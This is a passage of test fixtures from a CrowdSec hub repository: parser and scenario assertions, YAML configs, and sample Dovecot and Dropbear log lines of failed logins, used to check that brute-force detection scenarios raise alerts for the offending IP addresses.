results["s01-parse"]["crowdsecurity/dovecot-logs"][4].Evt.Parsed["dovecot_remote_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/dovecot-logs"][4].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/dovecot-logs"][4].Evt.Parsed["message"] == "imap-login: Info: Disconnected: Aborted login by logging out (auth failed, 1 attempts in 15 secs): user=, method=PLAIN, rip=172.17.0.1, lip=172.17.0.2, TLS, session=<6wzJvinOOLisEQAB>" results["s01-parse"]["crowdsecurity/dovecot-logs"][4].Evt.Meta["machine"] == "canyon" results["s01-parse"]["crowdsecurity/dovecot-logs"][4].Evt.Meta["source_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/dovecot-logs"][4].Evt.Meta["datasource_path"] == "dovecot-logs.log" results["s01-parse"]["crowdsecurity/dovecot-logs"][4].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/dovecot-logs"][4].Evt.Meta["dovecot_login_result"] == "auth_failed" results["s01-parse"]["crowdsecurity/dovecot-logs"][4].Evt.Meta["log_type"] == "dovecot_logs" results["s01-parse"]["crowdsecurity/dovecot-logs"][5].Success == true results["s01-parse"]["crowdsecurity/dovecot-logs"][5].Evt.Parsed["dovecot_local_ip"] == "172.17.0.2" results["s01-parse"]["crowdsecurity/dovecot-logs"][5].Evt.Parsed["dovecot_login_message"] == "Info: Disconnected: Too many invalid commands (auth failed, 1 attempts in 0 secs)" results["s01-parse"]["crowdsecurity/dovecot-logs"][5].Evt.Parsed["dovecot_user"] == "hess@testnew.fr" results["s01-parse"]["crowdsecurity/dovecot-logs"][5].Evt.Parsed["message"] == "imap-login: Info: Disconnected: Too many invalid commands (auth failed, 1 attempts in 0 secs): user=, rip=172.17.0.1, lip=172.17.0.2, session=<5Tfu2CnO3pKsEQAB>" results["s01-parse"]["crowdsecurity/dovecot-logs"][5].Evt.Parsed["program"] == "dovecot" results["s01-parse"]["crowdsecurity/dovecot-logs"][5].Evt.Parsed["timestamp"] == "Oct 12 15:53:32" results["s01-parse"]["crowdsecurity/dovecot-logs"][5].Evt.Parsed["dovecot_remote_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/dovecot-logs"][5].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/dovecot-logs"][5].Evt.Parsed["protocol"] == "imap" results["s01-parse"]["crowdsecurity/dovecot-logs"][5].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/dovecot-logs"][5].Evt.Meta["dovecot_login_result"] == "auth_failed" results["s01-parse"]["crowdsecurity/dovecot-logs"][5].Evt.Meta["log_type"] == "dovecot_logs" results["s01-parse"]["crowdsecurity/dovecot-logs"][5].Evt.Meta["machine"] == "canyon" results["s01-parse"]["crowdsecurity/dovecot-logs"][5].Evt.Meta["source_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/dovecot-logs"][5].Evt.Meta["datasource_path"] == "dovecot-logs.log" results["s01-parse"]["crowdsecurity/dovecot-logs"][6].Success == true results["s01-parse"]["crowdsecurity/dovecot-logs"][6].Evt.Parsed["protocol"] == "pop3" results["s01-parse"]["crowdsecurity/dovecot-logs"][6].Evt.Parsed["dovecot_remote_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/dovecot-logs"][6].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/dovecot-logs"][6].Evt.Parsed["program"] == "dovecot" results["s01-parse"]["crowdsecurity/dovecot-logs"][6].Evt.Parsed["timestamp"] == "Oct 12 15:54:33" results["s01-parse"]["crowdsecurity/dovecot-logs"][6].Evt.Parsed["dovecot_local_ip"] == "172.17.0.2" results["s01-parse"]["crowdsecurity/dovecot-logs"][6].Evt.Parsed["dovecot_login_message"] == "Info: Disconnected: Disconnected: Too many bad commands (auth failed, 2 attempts in 0 secs)" results["s01-parse"]["crowdsecurity/dovecot-logs"][6].Evt.Parsed["dovecot_user"] == "test@yourdomain.net" results["s01-parse"]["crowdsecurity/dovecot-logs"][6].Evt.Parsed["message"] == "pop3-login: Info: Disconnected: Disconnected: Too many bad commands (auth failed, 2 attempts in 0 secs): user=, rip=172.17.0.1, lip=172.17.0.2, session=<02qW3CnO5tWsEQAB>" results["s01-parse"]["crowdsecurity/dovecot-logs"][6].Evt.Meta["datasource_path"] == "dovecot-logs.log" results["s01-parse"]["crowdsecurity/dovecot-logs"][6].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/dovecot-logs"][6].Evt.Meta["dovecot_login_result"] == "auth_failed" results["s01-parse"]["crowdsecurity/dovecot-logs"][6].Evt.Meta["log_type"] == "dovecot_logs" results["s01-parse"]["crowdsecurity/dovecot-logs"][6].Evt.Meta["machine"] == "canyon" results["s01-parse"]["crowdsecurity/dovecot-logs"][6].Evt.Meta["source_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/dovecot-logs"][7].Success == true results["s01-parse"]["crowdsecurity/dovecot-logs"][7].Evt.Parsed["dovecot_login_message"] == "Info: Disconnected: Disconnected: Too many bad commands (no auth attempts in 22 secs)" results["s01-parse"]["crowdsecurity/dovecot-logs"][7].Evt.Parsed["protocol"] == "pop3" results["s01-parse"]["crowdsecurity/dovecot-logs"][7].Evt.Parsed["dovecot_local_ip"] == "172.17.0.2" results["s01-parse"]["crowdsecurity/dovecot-logs"][7].Evt.Parsed["dovecot_remote_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/dovecot-logs"][7].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/dovecot-logs"][7].Evt.Parsed["message"] == "pop3-login: Info: Disconnected: Disconnected: Too many bad commands (no auth attempts in 22 secs): user=<>, rip=172.17.0.1, lip=172.17.0.2, TLS, session=" results["s01-parse"]["crowdsecurity/dovecot-logs"][7].Evt.Parsed["program"] == "dovecot" results["s01-parse"]["crowdsecurity/dovecot-logs"][7].Evt.Parsed["timestamp"] == "Oct 13 09:22:47" results["s01-parse"]["crowdsecurity/dovecot-logs"][7].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/dovecot-logs"][7].Evt.Meta["log_type"] == "dovecot_logs" results["s01-parse"]["crowdsecurity/dovecot-logs"][7].Evt.Meta["machine"] == "canyon" results["s01-parse"]["crowdsecurity/dovecot-logs"][7].Evt.Meta["source_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/dovecot-logs"][7].Evt.Meta["datasource_path"] == "dovecot-logs.log" results["s01-parse"]["crowdsecurity/dovecot-logs"][8].Success == true results["s01-parse"]["crowdsecurity/dovecot-logs"][8].Evt.Parsed["dovecot_local_ip"] == "172.17.0.2" results["s01-parse"]["crowdsecurity/dovecot-logs"][8].Evt.Parsed["dovecot_login_message"] == "Info: Login" results["s01-parse"]["crowdsecurity/dovecot-logs"][8].Evt.Parsed["dovecot_remote_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/dovecot-logs"][8].Evt.Parsed["dovecot_user"] == "test@yourdomain.net" results["s01-parse"]["crowdsecurity/dovecot-logs"][8].Evt.Parsed["protocol"] == "pop3" results["s01-parse"]["crowdsecurity/dovecot-logs"][8].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/dovecot-logs"][8].Evt.Parsed["message"] == "pop3-login: Info: Login: user=, method=PLAIN, rip=172.17.0.1, lip=172.17.0.2, mpid=18, TLS, session=" results["s01-parse"]["crowdsecurity/dovecot-logs"][8].Evt.Parsed["program"] == "dovecot" results["s01-parse"]["crowdsecurity/dovecot-logs"][8].Evt.Parsed["timestamp"] == "Oct 13 09:22:59" results["s01-parse"]["crowdsecurity/dovecot-logs"][8].Evt.Meta["datasource_path"] == "dovecot-logs.log" results["s01-parse"]["crowdsecurity/dovecot-logs"][8].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/dovecot-logs"][8].Evt.Meta["log_type"] == "dovecot_logs" results["s01-parse"]["crowdsecurity/dovecot-logs"][8].Evt.Meta["machine"] == "canyon" results["s01-parse"]["crowdsecurity/dovecot-logs"][8].Evt.Meta["source_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/dovecot-logs"][9].Success == true results["s01-parse"]["crowdsecurity/dovecot-logs"][9].Evt.Parsed["program"] == "dovecot" results["s01-parse"]["crowdsecurity/dovecot-logs"][9].Evt.Parsed["timestamp"] == "Apr 29 15:54:19" results["s01-parse"]["crowdsecurity/dovecot-logs"][9].Evt.Parsed["dovecot_remote_ip"] == "5.34.207.151" results["s01-parse"]["crowdsecurity/dovecot-logs"][9].Evt.Parsed["dovecot_user"] == "caliph@customdomaine.com" results["s01-parse"]["crowdsecurity/dovecot-logs"][9].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/dovecot-logs"][9].Evt.Parsed["dovecot_login_message"] == "Authentication failure (Password mismatch?)" results["s01-parse"]["crowdsecurity/dovecot-logs"][9].Evt.Parsed["message"] == "auth-worker(14864): conn unix:auth-worker (pid=14830,uid=109): auth-worker<6>: pam(caliph@customdomaine.com,5.34.207.151): pam_authenticate() failed: Authentication failure (Password mismatch?)" results["s01-parse"]["crowdsecurity/dovecot-logs"][9].Evt.Meta["datasource_path"] == "dovecot-logs.log" results["s01-parse"]["crowdsecurity/dovecot-logs"][9].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/dovecot-logs"][9].Evt.Meta["dovecot_login_result"] == "auth_failed" results["s01-parse"]["crowdsecurity/dovecot-logs"][9].Evt.Meta["log_type"] == "dovecot_logs" results["s01-parse"]["crowdsecurity/dovecot-logs"][9].Evt.Meta["machine"] == "mail" results["s01-parse"]["crowdsecurity/dovecot-logs"][9].Evt.Meta["source_ip"] == "5.34.207.151" results["s01-parse"]["crowdsecurity/dovecot-logs"][10].Success == true results["s01-parse"]["crowdsecurity/dovecot-logs"][10].Evt.Parsed["dovecot_login_message"] == "Authentication failure (Password mismatch?)" results["s01-parse"]["crowdsecurity/dovecot-logs"][10].Evt.Parsed["program"] == "dovecot" results["s01-parse"]["crowdsecurity/dovecot-logs"][10].Evt.Parsed["dovecot_remote_ip"] == "5.34.207.161" results["s01-parse"]["crowdsecurity/dovecot-logs"][10].Evt.Parsed["dovecot_user"] == "needle" results["s01-parse"]["crowdsecurity/dovecot-logs"][10].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/dovecot-logs"][10].Evt.Parsed["message"] == "auth-worker(14877): conn unix:auth-worker (pid=14830,uid=109): auth-worker<5>: pam(needle,5.34.207.161): pam_authenticate() failed: Authentication failure (Password mismatch?)" results["s01-parse"]["crowdsecurity/dovecot-logs"][10].Evt.Parsed["timestamp"] == "Apr 29 15:54:21" results["s01-parse"]["crowdsecurity/dovecot-logs"][10].Evt.Meta["machine"] == "mail" results["s01-parse"]["crowdsecurity/dovecot-logs"][10].Evt.Meta["source_ip"] == "5.34.207.161" results["s01-parse"]["crowdsecurity/dovecot-logs"][10].Evt.Meta["datasource_path"] == "dovecot-logs.log" results["s01-parse"]["crowdsecurity/dovecot-logs"][10].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/dovecot-logs"][10].Evt.Meta["dovecot_login_result"] == "auth_failed" results["s01-parse"]["crowdsecurity/dovecot-logs"][10].Evt.Meta["log_type"] == "dovecot_logs" hub1/.tests/dovecot-spam/000077500000000000000000000000001437532772500155555ustar00rootroot00000000000000hub1/.tests/dovecot-spam/config.yaml000066400000000000000000000003401437532772500177030ustar00rootroot00000000000000parsers: - crowdsecurity/dovecot-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - crowdsecurity/dovecot-spam postoverflows: - "" log_file: dovecot-spam.log log_type: syslog ignore_parsers: true hub1/.tests/dovecot-spam/dovecot-spam.log000066400000000000000000000044741437532772500206720ustar00rootroot00000000000000Oct 12 15:44:43 canyon dovecot: auth-worker(24544): pam(toto,1.1.1.1): unknown user Oct 12 15:44:44 canyon dovecot: auth-worker(24058): pam(toto,1.1.1.1,): pam_authenticate() failed: Authentication failure (password mismatch?) Oct 12 15:44:45 canyon dovecot[7508]: imap-login: Disconnected (auth failed, 1 attempts in 6 secs): user=, method=PLAIN, rip=1.1.1.1, lip=7.7.7.7, TLS, session=<3650VvK5bdIaW-iK> Oct 12 15:44:46 canyon dovecot[7508]: imap-login: Disconnected (auth failed, 1 attempts in 6 secs): user=, method=PLAIN, rip=1.1.1.1, lip=7.7.7.7, TLS, session= Oct 12 15:44:47 canyon dovecot: pop3-login: Info: Disconnected: Connection closed (auth failed, 2 attempts in 30 secs): user=, method=PLAIN, rip=172.17.0.1, lip=172.17.0.2, TLS: Connection closed, session= Oct 12 15:46:28 canyon dovecot: imap-login: Info: Disconnected: Aborted login by logging out (auth failed, 1 attempts in 15 secs): user=, method=PLAIN, rip=172.17.0.1, lip=172.17.0.2, TLS, session=<6wzJvinOOLisEQAB> Oct 12 15:46:32 canyon dovecot: imap-login: Info: Disconnected: Too many invalid commands (auth failed, 1 attempts in 0 secs): user=, rip=172.17.0.1, lip=172.17.0.2, session=<5Tfu2CnO3pKsEQAB> Oct 12 15:46:33 canyon dovecot: pop3-login: Info: Disconnected: Disconnected: Too many bad commands (auth failed, 2 attempts in 0 secs): user=, rip=172.17.0.1, lip=172.17.0.2, session=<02qW3CnO5tWsEQAB> Apr 29 15:54:18 mail dovecot: auth-worker(14877): conn unix:auth-worker (pid=14830,uid=109): auth-worker<4>: pam(california@customdomaine.com,2.2.2.2): pam_authenticate() failed: Authentication failure (Password mismatch?) Apr 29 15:54:19 mail dovecot: auth-worker(14864): conn unix:auth-worker (pid=14830,uid=109): auth-worker<6>: pam(caliph@customdomaine.com,2.2.2.2): pam_authenticate() failed: Authentication failure (Password mismatch?) Apr 29 15:54:20 mail dovecot: auth-worker(14877): conn unix:auth-worker (pid=14830,uid=109): auth-worker<5>: pam(needle,2.2.2.2): pam_authenticate() failed: Authentication failure (Password mismatch?) Apr 29 15:54:21 mail dovecot: auth-worker(14864): conn unix:auth-worker (pid=14830,uid=109): auth-worker<7>: pam(neem,2.2.2.2): pam_authenticate() failed: Authentication failure (Password mismatch?)hub1/.tests/dovecot-spam/parser.assert000066400000000000000000000000001437532772500202620ustar00rootroot00000000000000hub1/.tests/dovecot-spam/scenario.assert000066400000000000000000000171741437532772500206150ustar00rootroot00000000000000len(results) == 3 "2.2.2.2" in results[0].Overflow.GetSources() results[0].Overflow.Sources["2.2.2.2"].IP == "2.2.2.2" results[0].Overflow.Sources["2.2.2.2"].Range == "" results[0].Overflow.Sources["2.2.2.2"].GetScope() == "Ip" results[0].Overflow.Sources["2.2.2.2"].GetValue() == "2.2.2.2" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "dovecot-spam.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("dovecot_login_result") == "auth_failed" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "dovecot_logs" results[0].Overflow.Alert.Events[0].GetMeta("machine") == "mail" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "2.2.2.2" results[0].Overflow.Alert.Events[0].GetMeta("timestamp")[4:] == "-04-29T15:54:18Z" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "dovecot-spam.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("dovecot_login_result") == "auth_failed" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "dovecot_logs" results[0].Overflow.Alert.Events[1].GetMeta("machine") == "mail" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "2.2.2.2" results[0].Overflow.Alert.Events[1].GetMeta("timestamp")[4:] == "-04-29T15:54:19Z" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "dovecot-spam.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("dovecot_login_result") == "auth_failed" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "dovecot_logs" results[0].Overflow.Alert.Events[2].GetMeta("machine") == "mail" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "2.2.2.2" results[0].Overflow.Alert.Events[2].GetMeta("timestamp")[4:] == "-04-29T15:54:20Z" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "dovecot-spam.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("dovecot_login_result") == "auth_failed" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "dovecot_logs" results[0].Overflow.Alert.Events[3].GetMeta("machine") == "mail" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "2.2.2.2" results[0].Overflow.Alert.Events[3].GetMeta("timestamp")[4:] == "-04-29T15:54:21Z" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/dovecot-spam" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 4 "172.17.0.1" in results[1].Overflow.GetSources() results[1].Overflow.Sources["172.17.0.1"].IP == "172.17.0.1" results[1].Overflow.Sources["172.17.0.1"].Range == "" results[1].Overflow.Sources["172.17.0.1"].GetScope() == "Ip" results[1].Overflow.Sources["172.17.0.1"].GetValue() == "172.17.0.1" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "dovecot-spam.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("dovecot_login_result") == "auth_failed" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "dovecot_logs" results[1].Overflow.Alert.Events[0].GetMeta("machine") == "canyon" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "172.17.0.1" results[1].Overflow.Alert.Events[0].GetMeta("timestamp")[4:] == "-10-12T15:44:47Z" results[1].Overflow.Alert.Events[1].GetMeta("datasource_path") == "dovecot-spam.log" results[1].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[1].GetMeta("dovecot_login_result") == "auth_failed" results[1].Overflow.Alert.Events[1].GetMeta("log_type") == "dovecot_logs" results[1].Overflow.Alert.Events[1].GetMeta("machine") == "canyon" results[1].Overflow.Alert.Events[1].GetMeta("source_ip") == "172.17.0.1" results[1].Overflow.Alert.Events[1].GetMeta("timestamp")[4:] == "-10-12T15:46:28Z" results[1].Overflow.Alert.Events[2].GetMeta("datasource_path") == "dovecot-spam.log" results[1].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[2].GetMeta("dovecot_login_result") == "auth_failed" results[1].Overflow.Alert.Events[2].GetMeta("log_type") == "dovecot_logs" results[1].Overflow.Alert.Events[2].GetMeta("machine") == "canyon" results[1].Overflow.Alert.Events[2].GetMeta("source_ip") == "172.17.0.1" results[1].Overflow.Alert.Events[2].GetMeta("timestamp")[4:] == "-10-12T15:46:32Z" results[1].Overflow.Alert.Events[3].GetMeta("datasource_path") == "dovecot-spam.log" results[1].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[3].GetMeta("dovecot_login_result") == "auth_failed" results[1].Overflow.Alert.Events[3].GetMeta("log_type") == "dovecot_logs" results[1].Overflow.Alert.Events[3].GetMeta("machine") == "canyon" results[1].Overflow.Alert.Events[3].GetMeta("source_ip") == "172.17.0.1" results[1].Overflow.Alert.Events[3].GetMeta("timestamp")[4:] == "-10-12T15:46:33Z" results[1].Overflow.Alert.GetScenario() == "crowdsecurity/dovecot-spam" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 4 "1.1.1.1" in results[2].Overflow.GetSources() results[2].Overflow.Sources["1.1.1.1"].IP == "1.1.1.1" results[2].Overflow.Sources["1.1.1.1"].Range == "" results[2].Overflow.Sources["1.1.1.1"].GetScope() == "Ip" results[2].Overflow.Sources["1.1.1.1"].GetValue() == "1.1.1.1" results[2].Overflow.Alert.Events[0].GetMeta("datasource_path") == "dovecot-spam.log" results[2].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[0].GetMeta("dovecot_login_result") == "auth_failed" results[2].Overflow.Alert.Events[0].GetMeta("log_type") == "dovecot_logs" results[2].Overflow.Alert.Events[0].GetMeta("machine") == "canyon" results[2].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.1.1.1" results[2].Overflow.Alert.Events[0].GetMeta("timestamp")[4:] == "-10-12T15:44:43Z" results[2].Overflow.Alert.Events[1].GetMeta("datasource_path") == "dovecot-spam.log" results[2].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[1].GetMeta("dovecot_login_result") == "auth_failed" results[2].Overflow.Alert.Events[1].GetMeta("log_type") == "dovecot_logs" results[2].Overflow.Alert.Events[1].GetMeta("machine") == "canyon" results[2].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.1.1.1" results[2].Overflow.Alert.Events[1].GetMeta("timestamp")[4:] == "-10-12T15:44:44Z" results[2].Overflow.Alert.Events[2].GetMeta("datasource_path") == "dovecot-spam.log" results[2].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[2].GetMeta("dovecot_login_result") == "auth_failed" results[2].Overflow.Alert.Events[2].GetMeta("log_type") == "dovecot_logs" results[2].Overflow.Alert.Events[2].GetMeta("machine") == "canyon" results[2].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.1.1.1" results[2].Overflow.Alert.Events[2].GetMeta("timestamp")[4:] == "-10-12T15:44:45Z" results[2].Overflow.Alert.Events[3].GetMeta("datasource_path") == "dovecot-spam.log" results[2].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[3].GetMeta("dovecot_login_result") == "auth_failed" results[2].Overflow.Alert.Events[3].GetMeta("log_type") == "dovecot_logs" results[2].Overflow.Alert.Events[3].GetMeta("machine") == "canyon" results[2].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.1.1.1" results[2].Overflow.Alert.Events[3].GetMeta("timestamp")[4:] == "-10-12T15:44:46Z" results[2].Overflow.Alert.GetScenario() == "crowdsecurity/dovecot-spam" results[2].Overflow.Alert.Remediation == true results[2].Overflow.Alert.GetEventsCount() == 4 hub1/.tests/dropbear-logs/000077500000000000000000000000001437532772500157145ustar00rootroot00000000000000hub1/.tests/dropbear-logs/config.yaml000066400000000000000000000002541437532772500200460ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - ./parsers/s01-parse/crowdsecurity/dropbear-logs.yaml log_file: dropbear-logs.log log_type: dropbear labels: {} ignore_parsers: false hub1/.tests/dropbear-logs/dropbear-logs.log000066400000000000000000000002331437532772500211550ustar00rootroot00000000000000Exit (root): Disconnect received Bad PAM password attempt for 'foobar' from 192.168.9.163:49242 Login attempt for nonexistent user from 192.168.9.163:49906hub1/.tests/dropbear-logs/parser.assert000066400000000000000000000076351437532772500204460ustar00rootroot00000000000000len(results) == 3 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 3 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "Exit (root): Disconnect received" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "dropbear" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "dropbear-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "Bad PAM password attempt for 'foobar' from 192.168.9.163:49242" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "dropbear" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "dropbear-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][2].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["message"] == "Login attempt for nonexistent user from 192.168.9.163:49906" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["program"] == "dropbear" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_path"] == "dropbear-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 3 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == false len(results["s01-parse"]["crowdsecurity/dropbear-logs"]) == 3 results["s01-parse"]["crowdsecurity/dropbear-logs"][0].Success == false results["s01-parse"]["crowdsecurity/dropbear-logs"][1].Success == true results["s01-parse"]["crowdsecurity/dropbear-logs"][1].Evt.Parsed["message"] == "Bad PAM password attempt for 'foobar' from 192.168.9.163:49242" results["s01-parse"]["crowdsecurity/dropbear-logs"][1].Evt.Parsed["port"] == "49242" results["s01-parse"]["crowdsecurity/dropbear-logs"][1].Evt.Parsed["program"] == "dropbear" results["s01-parse"]["crowdsecurity/dropbear-logs"][1].Evt.Parsed["source_ip"] == "192.168.9.163" results["s01-parse"]["crowdsecurity/dropbear-logs"][1].Evt.Parsed["user"] == "foobar" results["s01-parse"]["crowdsecurity/dropbear-logs"][1].Evt.Meta["datasource_path"] == "dropbear-logs.log" results["s01-parse"]["crowdsecurity/dropbear-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/dropbear-logs"][1].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/dropbear-logs"][1].Evt.Meta["service"] == "dropbear" results["s01-parse"]["crowdsecurity/dropbear-logs"][1].Evt.Meta["source_ip"] == "192.168.9.163" results["s01-parse"]["crowdsecurity/dropbear-logs"][1].Evt.Meta["target_user"] == "foobar" results["s01-parse"]["crowdsecurity/dropbear-logs"][2].Success == true results["s01-parse"]["crowdsecurity/dropbear-logs"][2].Evt.Parsed["program"] == "dropbear" results["s01-parse"]["crowdsecurity/dropbear-logs"][2].Evt.Parsed["source_ip"] == "192.168.9.163" results["s01-parse"]["crowdsecurity/dropbear-logs"][2].Evt.Parsed["message"] == "Login attempt for nonexistent user from 192.168.9.163:49906" results["s01-parse"]["crowdsecurity/dropbear-logs"][2].Evt.Parsed["port"] == "49906" results["s01-parse"]["crowdsecurity/dropbear-logs"][2].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/dropbear-logs"][2].Evt.Meta["service"] == "dropbear" results["s01-parse"]["crowdsecurity/dropbear-logs"][2].Evt.Meta["source_ip"] == "192.168.9.163" results["s01-parse"]["crowdsecurity/dropbear-logs"][2].Evt.Meta["datasource_path"] == "dropbear-logs.log" results["s01-parse"]["crowdsecurity/dropbear-logs"][2].Evt.Meta["datasource_type"] == "file" hub1/.tests/dropbear-ssh-bf/000077500000000000000000000000001437532772500161325ustar00rootroot00000000000000hub1/.tests/dropbear-ssh-bf/config.yaml000066400000000000000000000004241437532772500202630ustar00rootroot00000000000000parsers: - ./parsers/s00-raw/crowdsecurity/unifi-logs.yaml - ./parsers/s01-parse/crowdsecurity/dropbear-logs.yaml - crowdsecurity/dateparse-enrich scenarios: - ./scenarios/crowdsecurity/ssh-bf.yaml log_file: dropbear-ssh-bf.log log_type: unifi labels: {} ignore_parsers: falsehub1/.tests/dropbear-ssh-bf/dropbear-ssh-bf.log000066400000000000000000000014271437532772500216170ustar00rootroot00000000000000May 24 12:57:48 UDMPRO,a2edd0c6ae48,udm-1.10.0.3686 dropbear[10215]: Bad PAM password attempt for 'foobar' from 192.168.9.163:49242 May 24 12:57:48 UDMPRO,a2edd0c6ae48,udm-1.10.0.3686 dropbear[10215]: Bad PAM password attempt for 'foobar' from 192.168.9.163:49242 May 24 12:57:48 UDMPRO,a2edd0c6ae48,udm-1.10.0.3686 dropbear[10215]: Bad PAM password attempt for 'foobar' from 192.168.9.163:49242 May 24 12:57:48 UDMPRO,a2edd0c6ae48,udm-1.10.0.3686 dropbear[10215]: Bad PAM password attempt for 'foobar' from 192.168.9.163:49242 May 24 12:57:48 UDMPRO,a2edd0c6ae48,udm-1.10.0.3686 dropbear[10215]: Bad PAM password attempt for 'foobar' from 192.168.9.163:49242 May 24 12:57:48 UDMPRO,a2edd0c6ae48,udm-1.10.0.3686 dropbear[10215]: Bad PAM password attempt for 'foobar' from 192.168.9.163:49242hub1/.tests/dropbear-ssh-bf/parser.assert000066400000000000000000000616551437532772500206660ustar00rootroot00000000000000len(results["s00-raw"]["crowdsecurity/unifi-logs"]) == 6 results["s00-raw"]["crowdsecurity/unifi-logs"][0].Success == true results["s00-raw"]["crowdsecurity/unifi-logs"][0].Evt.Parsed["message"] == "Bad PAM password attempt for 'foobar' from 192.168.9.163:49242" results["s00-raw"]["crowdsecurity/unifi-logs"][0].Evt.Parsed["pid"] == "10215" results["s00-raw"]["crowdsecurity/unifi-logs"][0].Evt.Parsed["program"] == "dropbear" results["s00-raw"]["crowdsecurity/unifi-logs"][0].Evt.Parsed["timestamp"] == "May 24 12:57:48" results["s00-raw"]["crowdsecurity/unifi-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/unifi-logs"][0].Evt.Meta["machine"] == "UDMPRO,a2edd0c6ae48,udm-1.10.0.3686" results["s00-raw"]["crowdsecurity/unifi-logs"][0].Evt.Meta["datasource_path"] == 